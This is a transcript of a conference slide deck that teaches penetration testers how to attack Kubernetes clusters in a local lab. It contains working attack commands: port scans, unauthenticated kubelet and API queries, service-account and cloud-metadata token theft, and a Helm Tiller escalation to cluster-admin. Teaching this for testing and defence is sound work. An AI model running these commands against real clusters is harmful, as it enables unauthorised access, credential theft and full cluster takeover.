Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Kubernetes 101 for Penetration Testers - null Mumbai

Kubernetes 101 for Penetration Testers - null Mumbai

This hands-on (demo) driven talk intends to get application / network security analysts get started with Kubernetes Cluster Penetration Testing. The slides are meant to be used for hands-on learning using locally setup cluster.

Abhisek Datta

June 13, 2020
Tweet

More Decks by Abhisek Datta

Other Decks in Technology

Transcript

  1. Kubernetes 101
    For Penetration Testers
    Abhisek Datta
    @abh1sek

    View Slide

  2. About Me - Abhisek Datta
    ● Head, Security Products @ Appsecco
    ○ Application & Cloud Security
    ○ Kubernetes Security
    ● TechWing @ null0x00 (null.co.in)
    ○ Swachalit creator! :)
    ● Security Researcher
    ○ Discovered vulnerabilities in enterprise software and credited with CVE
    ● Open Source Contributor
    ○ https://github.com/abhisek

    View Slide

  3. Session Take Away
    1. A quick introduction to Kubernetes
    2. Kubernetes Threat Model
    3. Attacking a Kubernetes Cluster

    View Slide

  4. How to participate?
    ● Observe what I am doing during the session
    ● DO NOT do hands-on during the session - 1 hour is too less
    ● Use the slides as a reference to try out hands-on after the session
    ○ Slides are built specifically as a reference material
    ● Use additional reference material provided for further learning
    ● Ping me for doubts & questions (@abh1sek on Twitter)

    View Slide

  5. What I am expecting from you (audience)?
    ● Curious and willing to learn new things
    ● Familiar with Linux err… I mean GNU/Linux
    ● Familiar with network or application security
    ● Familiar with basic vulnerability and exploit terminology
    ● Familiar with vulnerability assessment & penetration testing

    View Slide

  6. What is required to do hands-on?
    1. Docker
    2. Minikube
    3. Helm
    4. Kubectl
    5. Nmap, cURL, netcat etc.

    View Slide

  7. Introduction to Kubernetes

    View Slide

  8. What is a Container?
    Containers are a technology for packaging the (compiled) code for an application along with
    the dependencies it needs at run time. Each container that you run is repeatable; the
    standardization from having dependencies included means that you get the same behavior
    wherever you run it.
    Think of container as “Code + Config + Runtime” packaged in an archive stored locally or in
    a Git like remote repository, called Container Registry

    View Slide

  9. Running a Web Server (Nginx) Container
    docker run -d -p 8000:80 nginx
    curl http://localhost:8000/
    Learn docker
    https://www.katacoda.com/courses/docker

    View Slide

  10. How do you run 10,000+ containers in production?
    You need a
    container
    orchestrator like
    Kubernetes,
    Nomad, Mesos
    etc.

    View Slide

  11. What is Kubernetes?
    https://www.youtube.com/watch?v=4ht22ReBjno

    View Slide

  12. What is Kubernetes?
    Kubernetes is a portable, extensible, open-source platform for managing
    containerized workloads and services, that facilitates both declarative
    configuration and automation.
    A container orchestrator really - Refer to Illustrated Children’s Guide to Kubernetes :)
    https://kubernetes.io/docs/concepts/overview/what-is-kubernetes/

    View Slide

  13. Setup a local playground for learning Kubernetes
    minikube start --driver=docker -n 3 \
    --enable-default-cni=false --network-plugin=cni
    kubectl cluster-info
    kubectl get nodes -o wide
    ❗ Multi-node clusters are currently experimental and might exhibit unintended behavior.
    To track progress on multi-node clusters, see https://github.com/kubernetes/minikube/issues/7538.
    Try out the online playground at Katacoda
    https://www.katacoda.com/courses/kubernetes/playground

    View Slide

  14. Pods
    Pods are the smallest deployable units of computing that can
    be created and managed in Kubernetes
    kubectl run --restart=Never nginx-1 --image nginx
    kubectl get pods -o wide

    View Slide

  15. Services
    An abstract way to expose an application running on a set of Pods as a network
    service. There are multiple service types such as ClusterIP, NodePort,
    LoadBalancer
    kubectl expose pod nginx-1 \
    --port=8888 --target-port=80 --type=NodePort
    export NODE_PORT=$(kubectl get svc nginx-1 -o
    jsonpath='{.spec.ports[0].nodePort}')
    curl http://:$NODE_PORT/
    NodePort may be
    risky to use

    View Slide

  16. Other Key Resources
    ● Namespace
    ● Replica Set
    ● Deployment
    ● ConfigMap
    ● Secret (Encoded, not encrypted, by default)
    ● Volume
    ● Persistent Volume
    ● Persistent Volume Claim
    ● Ingress
    Learning Kubernetes
    https://www.katacoda.com/courses/kubernetes
    https://kubernetesbyexample.com/

    View Slide

  17. Kubernetes Threat Model

    View Slide

  18. Kubernetes Components

    View Slide

  19. A Simple Threat Model
    Detailed Threat Model available from CNCF/TOB
    https://github.com/kubernetes/community/tree/master/wg-security-audit
    How can they
    attack?
    03
    ● Leverage configuration weaknesses
    ● Exploit vulnerabilities
    ● Exploit trust across components
    ● Lack of appropriate AuthZ controls
    ● Lack of security hardening of the cluster
    What can they
    attack?
    02
    ● Cluster state storage (etcd)
    ● Secrets
    ● Volumes (Data Breach)
    ● Container Image (Private Repository)
    ● Compute Resources (Example: Crypto Mining)
    Who are the
    attackers?
    01
    ● External (From internet)
    ● Internal (Attacker in a Pod)
    ● Developer (User with some access in the cluster)
    ● Malicious Administrator
    ● End User

    View Slide

  20. Attacking a Kubernetes Cluster

    View Slide

  21. Kubernetes Cluster Attack Surface

    View Slide

  22. Typical Attacker’s Workflow against a Kubernetes Cluster
    1. Discovery (Recon)
    2. Vulnerability Testing
    a. You must do a conventional VA/PT for the infrastructure (OS) running Master and Node
    components in additional to Kubernete specific testing
    3. Exploitation
    a. Privilege Escalation
    b. Lateral Movement
    4. Persistence

    View Slide

  23. (External Attacker) Discovery (Recon)
    curl -sk https://$API_SERVER_HOST:$API_SERVER_PORT/version
    nmap -p 10250,10255,10248,2379,2375 \
    --open -sS -sV -iL all-node-ips.txt
    nmap -p 30000-32767 \
    --open -sS -sV -iL worker-node-ips.txt
    Cluster
    Components
    NodePort
    Services

    View Slide

  24. (External or Internal Attacker) API Server AuthZ Testing
    curl -sk https://$API_SERVER_ENDPOINT/api/v1/namespaces
    curl -sk https://$API_SERVER_ENDPOINT/api/v1/namespaces/default/pods
    kubectl auth can-i list namespaces
    kubectl auth can-i list pods
    kubectl auth can-i create pod
    Testing with unprivileged
    credential like Pod
    default service account

    View Slide

  25. (External Attacker) Kubelet Testing
    curl -sk --connect-timeout 5 https://$NODE_IP:10250/pods/
    curl -sk --connect-timeout 5 https://$NODE_IP:10255/pods/
    curl -sk --connect-timeout 5 https://$NODE_IP:10248/

    View Slide

  26. (External Attacker) What if etcd is exposed?
    etcd is exposed in Minikube cluster (as it should be)
    docker run -it --rm \
    --network host \
    --env ETCDCTL_API=3 \
    --env ALLOW_NONE_AUTHENTICATION=yes \
    bitnami/etcd:latest -- \
    etcdctl --endpoints https://$ETCD_IP:2379 get /
    Should fail as client-cert
    auth is enabled by
    default, but you may be
    lucky :)

    View Slide

  27. (Attacker in a Pod) Discovery (Recon)
    kubectl run -it attacker \
    --image appsecco/k8s-security-tools \
    -- bash
    Simulating an attacker in
    a Pod with required
    security tools
    printenv
    ifconfig
    host -v kubernetes.default
    kubectl auth can-i create pod
    ls -al /var/run/secrets/kubernetes.io/serviceaccount/

    View Slide

  28. (Attacker in a Pod) Cluster Networking
    Kubernetes Networking Model
    https://kubernetes.io/docs/concepts/cluster-administration/networking/
    Pods on a node can communicate with all pods on
    all nodes without NAT using the Pod Network i.e.
    anyone can talk to anyone by default
    Service Discovery through DNS assigns
    unique IP address to services in a dedicated
    Service Network CIDR
    All of this is facilitated by the CNI Plugin
    ifconfig
    ping kubernetes

    View Slide

  29. (Attacker in a Pod) Discovering Internal Services
    nmap -sS -sV --top-ports 100 $POD_CIDR
    nmap -sS -sV --top-ports 100 $SERVICE_CIDR

    View Slide

  30. Running a Vulnerability Scan
    docker run --rm -it \
    appsecco/k8s-security-tools \
    kube-hunter
    As external attacker to
    scan Master IP(s) for
    known issues
    kube-hunter --pod --cidr $POD_CIDR
    As internal attacker from
    attacker tools container
    https://github.com/aquasecurity/kube-hunter

    View Slide

  31. Test for Container Escape (Kernel Vulnerabilities)
    uname -a
    linux-exploit-suggester.sh
    https://github.com/mzet-/linux-exploit-suggester

    View Slide

  32. Test for Cloud Instance Metadata Service (Example)
    export TOKEN=$(curl -H "Metadata-Flavor: Google"
    http://metadata.google.internal/computeMetadata/v1/instance/service
    -accounts/default/token)
    curl -H "Metadata-Flavor: Google"
    http://metadata.google.internal/computeMetadata/v1/in
    stance/service-accounts/default/scopes
    curl -u "oauth2accesstoken:$TOKEN"
    https://eu.gcr.io/v2/_catalog
    Private registry access using instance service account token on Google Cloud

    View Slide

  33. (Attacker in a Pod) Exploitation
    ● Objective?
    ○ Move around and gain access to other Pods (and resources)
    ○ Finally gain access to the cluster as cluster-admin
    ● How?
    ○ Known vulnerable components in the control plane
    ○ Open or vulnerable service in Pod/Service network
    ■ Example: Helm Tiller Privilege Escalation
    ○ Abusing privilege
    ■ Example: Privilege Escalation Abusing hostPath Volume Mount

    View Slide

  34. Privilege Escalation using hostPath Volume Mount
    A hostPath volume mounts a file or directory from the host node's filesystem into
    your Pod. This is not something that most Pods will need, but it offers a powerful
    escape hatch for some applications.
    https://blog.appsecco.com/kubernetes-names
    pace-breakout-using-insecure-host-path-volu
    me-part-1-b382f2a6e216

    View Slide

  35. Helm Tiller Privilege Escalation
    # Become attacker in a Pod
    kubectl run -it attacker --image
    appsecco/k8s-security-tools -- bash
    # Check privilege (service account token)
    kubectl auth can-i create pod
    # Verify tiller is accessible using service name
    nc -zv tiller-deploy.kube-system 44134
    # Escalate privilege (service account)
    helm2 --host tiller-deploy.kube-system:44134 install /pwnchart
    Setup a vulnerable Helm2 Tiller environment

    View Slide

  36. Helm Tiller Privilege Escalation
    1. Tiller, the in-cluster deployer component of Helm is running inside the cluster
    without authentication (default in Helm 2, removed in Helm 3)
    2. We connect to tiller on predictable service name, namespace and port
    a. Alternatively, we can scan Service CIDR and discover tiller as well
    3. We connect to tiller and ask it to install a chart that binds cluster-admin like
    privilege to namespace default service account
    4. Our Pod, or for that matter, any Pod in running in default namespace now
    owns the cluster
    https://engineering.bitnami.com/articles/helm-security.html https://v2.helm.sh/docs/securing_installation/

    View Slide

  37. Reference and Further Learning

    View Slide

  38. Installing (insecure) Helm2 in Kubernetes 1.16+
    kubectl apply -f-<<_EOF
    apiVersion: v1
    kind: ServiceAccount
    metadata:
    name: tiller
    namespace: kube-system
    ---
    apiVersion: rbac.authorization.k8s.io/v1
    kind: ClusterRoleBinding
    metadata:
    name: tiller
    roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: cluster-admin
    subjects:
    - kind: ServiceAccount
    name: tiller
    namespace: kube-system
    _EOF
    # Ensure helm2 version is 2.16+
    helm2 init --service-account tiller
    https://github.com/helm/helm/issues/6374#issuecomment-533427268
    1 2

    View Slide

  39. ATT&CK Matrix for Kubernetes
    https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/

    View Slide

  40. OWASP Kubernetes Security Testing Guide (KSTG)
    ● Early stage - Work in Progress
    ○ https://owasp.org/www-project-kubernetes-security-testing-guide/
    ○ https://github.com/owasp/kstg
    ● Aims to be the reference guide for Kubernetes Cluster Penetration Testing
    ● Me (@abh1sek) and Madhu Akula (@madhuakula) working on it for now,
    looking for your contribution :)

    View Slide

  41. Appsecco (Free) Training on Docker & Kubernetes Security
    ● Free and open source training material including hands-on lab for Docker &
    Kubernetes security for you to try out.
    https://github.com/appsecco/atta
    cking-and-auditing-docker-contai
    ners-and-kubernetes-clusters

    View Slide

  42. Kubernetes Threat Model and Penetration Test Report
    ● Kubernetes Security Working Group
    ○ Threat Model
    ○ Penetration Test Report
    ○ Security White paper
    ● https://github.com/kubernetes/community/tree/master/wg-security-audit

    View Slide

  43. Other Useful Resources
    ● Hacker Container for Kubernetes Security Assessments
    ● Hacking and Hardening Kubernetes Clusters by Example [I] - Brad Geesaman, Symantec
    ● Advanced Persistent Threats: The Future of Kubernetes Attacks
    ● Kubernetes From an Attacker's Perspective — OWASP Bay Area Meetup
    ● CIS Benchmark for Kubernetes
    ● aquasecurity/kube-hunter: Hunt for security weaknesses in Kubernetes clusters
    ● aquasecurity/kube-bench: Checks whether Kubernetes is deployed according to security best practices as defined in the CIS
    Kubernetes Benchmark
    ● kelseyhightower/kubernetes-the-hard-way: Bootstrap Kubernetes the hard way on Google Cloud Platform. No scripts.

    View Slide

  44. Thank You
    https://twitter.com/abh1sek
    https://github.com/abhisek
    Keep Learning

    View Slide